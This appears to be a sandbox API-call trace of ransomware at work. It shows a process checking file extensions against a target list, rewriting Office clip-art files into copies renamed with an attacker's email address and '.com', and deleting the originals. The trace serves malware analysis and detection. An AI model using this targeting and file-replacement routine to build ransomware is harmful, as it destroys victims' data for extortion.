lstrlenW (lpString=".1cd") returned 4 [0289.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.580] lstrlenW (lpString=".jpg") returned 4 [0289.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.580] lstrlenW (lpString=".doc") returned 4 [0289.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString=".docx") returned 5 [0289.580] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0289.580] lstrlenW (lpString=".pdf") returned 4 [0289.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString=".xls") returned 4 [0289.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.580] lstrlenW (lpString=".xlsx") returned 5 [0289.580] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0289.580] lstrlenW (lpString=".ppt") returned 4 [0289.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.581] lstrlenW (lpString=".zip") returned 4 [0289.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.581] lstrlenW (lpString=".rar") returned 4 [0289.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.581] lstrlenW (lpString=".bz2") returned 4 [0289.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.581] lstrlenW (lpString=".7z") returned 3 [0289.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.581] lstrlenW (lpString=".dbf") returned 4 [0289.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.581] lstrlenW (lpString=".1cd") returned 4 [0289.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.581] lstrlenW (lpString=".jpg") returned 4 [0289.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.581] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.582] lstrlenW (lpString="CUPINST.WMF") returned 11 [0289.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0289.582] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=10326) returned 1 [0289.582] CloseHandle (hObject=0x10bc) returned 1 [0289.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0289.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0289.582] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.582] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.583] GetLastError () returned 0x0 [0289.583] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x2856, lpOverlapped=0x0) returned 1 [0292.144] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x2860, lpOverlapped=0x0) returned 1 [0292.145] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.145] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xea, lpOverlapped=0x0) returned 1 [0292.145] SetEndOfFile (hFile=0x10dc) returned 1 [0292.146] CloseHandle (hObject=0x10dc) returned 1 [0292.146] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.146] SetEndOfFile (hFile=0x10bc) returned 1 [0292.147] CloseHandle (hObject=0x10bc) returned 1 [0292.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0292.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0292.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.147] lstrlenW (lpString=".doc") returned 4 [0292.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.147] lstrlenW (lpString=".docx") returned 5 [0292.147] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0292.147] lstrlenW (lpString=".pdf") returned 4 [0292.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.147] lstrlenW (lpString=".xls") returned 4 [0292.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.147] lstrlenW (lpString=".xlsx") returned 5 [0292.147] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0292.147] lstrlenW (lpString=".ppt") returned 4 [0292.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.148] lstrlenW (lpString=".zip") returned 4 [0292.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.148] lstrlenW (lpString=".rar") returned 4 [0292.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString=".bz2") returned 4 [0292.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString=".7z") returned 3 [0292.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.148] lstrlenW (lpString=".dbf") returned 4 [0292.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.148] lstrlenW (lpString=".1cd") returned 4 [0292.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.148] lstrlenW (lpString=".jpg") returned 4 [0292.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.148] lstrlenW (lpString=".doc") returned 4 [0292.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString=".docx") returned 5 [0292.148] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0292.148] lstrlenW (lpString=".pdf") returned 4 [0292.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString=".xls") returned 4 [0292.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.148] lstrlenW (lpString=".xlsx") returned 5 [0292.148] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0292.148] lstrlenW (lpString=".ppt") returned 4 [0292.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.148] lstrlenW (lpString=".zip") returned 4 [0292.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.149] lstrlenW (lpString=".rar") returned 4 [0292.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.149] lstrlenW (lpString=".bz2") returned 4 [0292.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.149] lstrlenW (lpString=".7z") returned 3 [0292.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.149] lstrlenW (lpString=".dbf") returned 4 [0292.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.149] lstrlenW (lpString=".1cd") returned 4 [0292.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.149] lstrlenW (lpString=".jpg") returned 4 [0292.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.149] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0292.149] lstrlenW (lpString="DD00255_.WMF") returned 12 [0292.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0292.149] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2690) returned 1 [0292.149] CloseHandle (hObject=0x10bc) returned 1 [0292.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0292.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0292.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0292.150] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.150] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0292.150] GetLastError () returned 0x0 [0292.150] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xa82, lpOverlapped=0x0) returned 1 [0293.241] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xa90, lpOverlapped=0x0) returned 1 [0293.370] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.370] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.370] SetEndOfFile (hFile=0x10dc) returned 1 [0293.371] CloseHandle (hObject=0x10dc) returned 1 [0293.371] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.371] SetEndOfFile (hFile=0x10bc) returned 1 [0293.372] CloseHandle (hObject=0x10bc) returned 1 [0293.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0293.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.372] lstrlenW (lpString=".doc") returned 4 [0293.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.373] lstrlenW (lpString=".docx") returned 5 [0293.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.373] lstrlenW (lpString=".pdf") returned 4 [0293.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.373] lstrlenW (lpString=".xls") returned 4 [0293.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.373] lstrlenW (lpString=".xlsx") returned 5 [0293.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.373] lstrlenW (lpString=".ppt") returned 4 [0293.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.373] lstrlenW (lpString=".zip") returned 4 [0293.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.373] lstrlenW (lpString=".rar") returned 4 [0293.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.373] lstrlenW (lpString=".bz2") returned 4 [0293.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.373] lstrlenW (lpString=".7z") returned 3 [0293.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.373] lstrlenW (lpString=".dbf") returned 4 [0293.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.373] lstrlenW (lpString=".1cd") returned 4 [0293.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.373] lstrlenW (lpString=".jpg") returned 4 [0293.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.374] lstrlenW (lpString=".doc") returned 4 [0293.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.374] lstrlenW (lpString=".docx") returned 5 [0293.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.374] lstrlenW (lpString=".pdf") returned 4 [0293.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.374] lstrlenW (lpString=".xls") returned 4 [0293.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.374] lstrlenW (lpString=".xlsx") returned 5 [0293.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.374] lstrlenW (lpString=".ppt") returned 4 [0293.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.374] lstrlenW (lpString=".zip") returned 4 [0293.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.374] lstrlenW (lpString=".rar") returned 4 [0293.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.374] lstrlenW (lpString=".bz2") returned 4 [0293.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.374] lstrlenW (lpString=".7z") returned 3 [0293.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.374] lstrlenW (lpString=".dbf") returned 4 [0293.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.374] lstrlenW (lpString=".1cd") returned 4 [0293.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0293.375] lstrlenW (lpString=".jpg") returned 4 [0293.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.375] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.375] lstrlenW (lpString="DD00261_.WMF") returned 12 [0293.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0293.375] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=37974) returned 1 [0293.375] CloseHandle (hObject=0x10bc) returned 1 [0293.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0293.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0293.376] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.376] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0293.376] GetLastError () returned 0x0 [0293.376] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x9456, lpOverlapped=0x0) returned 1 [0293.542] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x9460, lpOverlapped=0x0) returned 1 [0293.543] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.543] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.543] SetEndOfFile (hFile=0x10dc) returned 1 [0293.543] CloseHandle (hObject=0x10dc) returned 1 [0293.543] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.543] SetEndOfFile (hFile=0x10bc) returned 1 [0293.544] CloseHandle (hObject=0x10bc) returned 1 [0293.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0293.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.544] lstrlenW (lpString=".doc") returned 4 [0293.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString=".docx") returned 5 [0293.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.545] lstrlenW (lpString=".pdf") returned 4 [0293.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString=".xls") returned 4 [0293.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.545] lstrlenW (lpString=".xlsx") returned 5 [0293.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.545] lstrlenW (lpString=".ppt") returned 4 [0293.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.545] lstrlenW (lpString=".zip") returned 4 [0293.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.545] lstrlenW (lpString=".rar") returned 4 [0293.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString=".bz2") returned 4 [0293.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString=".7z") returned 3 [0293.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.545] lstrlenW (lpString=".dbf") returned 4 [0293.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.545] lstrlenW (lpString=".1cd") returned 4 [0293.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.545] lstrlenW (lpString=".jpg") returned 4 [0293.545] 